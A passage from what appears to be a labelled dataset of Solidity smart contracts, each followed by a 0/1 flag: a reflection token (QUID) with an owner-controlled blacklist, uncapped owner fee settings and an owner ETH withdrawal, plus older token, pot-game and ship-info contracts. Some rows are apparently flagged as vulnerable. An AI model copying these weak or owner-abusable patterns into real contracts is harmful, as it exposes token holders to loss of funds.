} | 0 | 1,041 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract QUID is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress =
payable(0xba80b52b20EE1EdE755C0a71b8924CD093e95dC4);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Quid Ika';
string private _symbol = 'QUID';
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_liquidityFee = _previousLiquidityFee;
_taxFee = _previousTaxFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'You have no power here!');
require(!_isSniper[msg.sender], 'You have no power here!');
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToMarketing(address(this).balance);
}
}
function sendETHToMarketing(uint256 amount) private {
marketingAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function isRemovedSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function _removeSniper(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not blacklist Uniswap'
);
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function _amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
} | 0 | 1,770 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BKFToken {
string public name = "BKEX Finance";
string public symbol = "BKF";
uint256 public decimals = 18;
uint256 public totalSupply = 80*1000*1000*10**decimals;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BKFToken(
) public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,252 |
pragma solidity ^0.4.20;
contract EthAnte {
uint public timeOut;
uint public kBalance;
uint public feeRate;
address public TechnicalRise = 0x7c0Bf55bAb08B4C1eBac3FC115C394a739c62538;
address public lastBidder;
function EthAnte() public payable {
lastBidder = msg.sender;
kBalance = msg.value;
timeOut = now + 10 minutes;
feeRate = 100;
}
function fund() public payable {
uint _fee = msg.value / feeRate;
uint _val = msg.value - _fee;
kBalance += _val;
TechnicalRise.transfer(_fee);
if(_val < 9900 szabo) {
timeOut += 2 minutes;
return;
}
if (timeOut <= now) {
lastBidder.transfer(kBalance - _val);
kBalance = _val;
timeOut = now;
}
timeOut += (10 minutes) * (9900 szabo) / _val;
lastBidder = msg.sender;
}
function () public payable {
fund();
}
} | 1 | 2,692 |
pragma solidity ^0.4.23;
contract ParsecReferralTracking {
mapping (address => address) public referrer;
event ReferrerUpdated(address indexed _referee, address indexed _referrer);
function _updateReferrerFor(address _referee, address _referrer) internal {
if (_referrer != address(0) && _referrer != _referee) {
referrer[_referee] = _referrer;
emit ReferrerUpdated(_referee, _referrer);
}
}
}
contract ParsecShipInfo {
uint256 public constant TOTAL_SHIP = 900;
uint256 public constant TOTAL_ARK = 100;
uint256 public constant TOTAL_HAWKING = 400;
uint256 public constant TOTAL_SATOSHI = 400;
uint256 public constant NAME_NOT_AVAILABLE = 0;
uint256 public constant NAME_ARK = 1;
uint256 public constant NAME_HAWKING = 2;
uint256 public constant NAME_SATOSHI = 3;
uint256 public constant TYPE_NOT_AVAILABLE = 0;
uint256 public constant TYPE_EXPLORER_FREIGHTER = 1;
uint256 public constant TYPE_EXPLORER = 2;
uint256 public constant TYPE_FREIGHTER = 3;
uint256 public constant COLOR_NOT_AVAILABLE = 0;
uint256 public constant COLOR_CUSTOM = 1;
uint256 public constant COLOR_BLACK = 2;
uint256 public constant COLOR_BLUE = 3;
uint256 public constant COLOR_BROWN = 4;
uint256 public constant COLOR_GOLD = 5;
uint256 public constant COLOR_GREEN = 6;
uint256 public constant COLOR_GREY = 7;
uint256 public constant COLOR_PINK = 8;
uint256 public constant COLOR_RED = 9;
uint256 public constant COLOR_SILVER = 10;
uint256 public constant COLOR_WHITE = 11;
uint256 public constant COLOR_YELLOW = 12;
function getShip(uint256 _shipId)
external
pure
returns (
uint256 ,
uint256 ,
uint256
)
{
return (
_getShipName(_shipId),
_getShipType(_shipId),
_getShipColor(_shipId)
);
}
function _getShipName(uint256 _shipId) internal pure returns (uint256 ) {
if (_shipId < 1) {
return NAME_NOT_AVAILABLE;
} else if (_shipId <= TOTAL_ARK) {
return NAME_ARK;
} else if (_shipId <= TOTAL_ARK + TOTAL_HAWKING) {
return NAME_HAWKING;
} else if (_shipId <= TOTAL_SHIP) {
return NAME_SATOSHI;
} else {
return NAME_NOT_AVAILABLE;
}
}
function _getShipType(uint256 _shipId) internal pure returns (uint256 ) {
if (_shipId < 1) {
return TYPE_NOT_AVAILABLE;
} else if (_shipId <= TOTAL_ARK) {
return TYPE_EXPLORER_FREIGHTER;
} else if (_shipId <= TOTAL_ARK + TOTAL_HAWKING) {
return TYPE_EXPLORER;
} else if (_shipId <= TOTAL_SHIP) {
return TYPE_FREIGHTER;
} else {
return TYPE_NOT_AVAILABLE;
}
}
function _getShipColor(uint256 _shipId) internal pure returns (uint256 ) {
if (_shipId < 1) {
return COLOR_NOT_AVAILABLE;
} else if (_shipId == 1) {
return COLOR_CUSTOM;
} else if (_shipId <= 23) {
return COLOR_BLACK;
} else if (_shipId <= 37) {
return COLOR_BLUE;
} else if (_shipId <= 42) {
return COLOR_BROWN;
} else if (_shipId <= 45) {
return COLOR_GOLD;
} else if (_shipId <= 49) {
return COLOR_GREEN;
} else if (_shipId <= 64) {
return COLOR_GREY;
} else if (_shipId <= 67) {
return COLOR_PINK;
} else if (_shipId <= 77) {
return COLOR_RED;
} else if (_shipId <= 83) {
return COLOR_SILVER;
} else if (_shipId <= 93) {
return COLOR_WHITE;
} else if (_shipId <= 100) {
return COLOR_YELLOW;
} else if (_shipId <= 140) {
return COLOR_BLACK;
} else if (_shipId <= 200) {
return COLOR_BLUE;
} else if (_shipId <= 237) {
return COLOR_BROWN;
} else if (_shipId <= 247) {
return COLOR_GOLD;
} else if (_shipId <= 330) {
return COLOR_GREEN;
} else if (_shipId <= 370) {
return COLOR_GREY;
} else if (_shipId <= 380) {
return COLOR_PINK;
} else if (_shipId <= 440) {
return COLOR_RED;
} else if (_shipId <= 460) {
return COLOR_SILVER;
} else if (_shipId <= 500) {
return COLOR_WHITE;
} else if (_shipId <= 540) {
return COLOR_BLACK;
} else if (_shipId <= 600) {
return COLOR_BLUE;
} else if (_shipId <= 637) {
return COLOR_BROWN;
} else if (_shipId <= 647) {
return COLOR_GOLD;
} else if (_shipId <= 730) {
return COLOR_GREEN;
} else if (_shipId <= 770) {
return COLOR_GREY;
} else if (_shipId <= 780) {
return COLOR_PINK;
} else if (_shipId <= 840) {
return COLOR_RED;
} else if (_shipId <= 860) {
return COLOR_SILVER;
} else if (_shipId <= TOTAL_SHIP) {
return COLOR_WHITE;
} else {
return COLOR_NOT_AVAILABLE;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
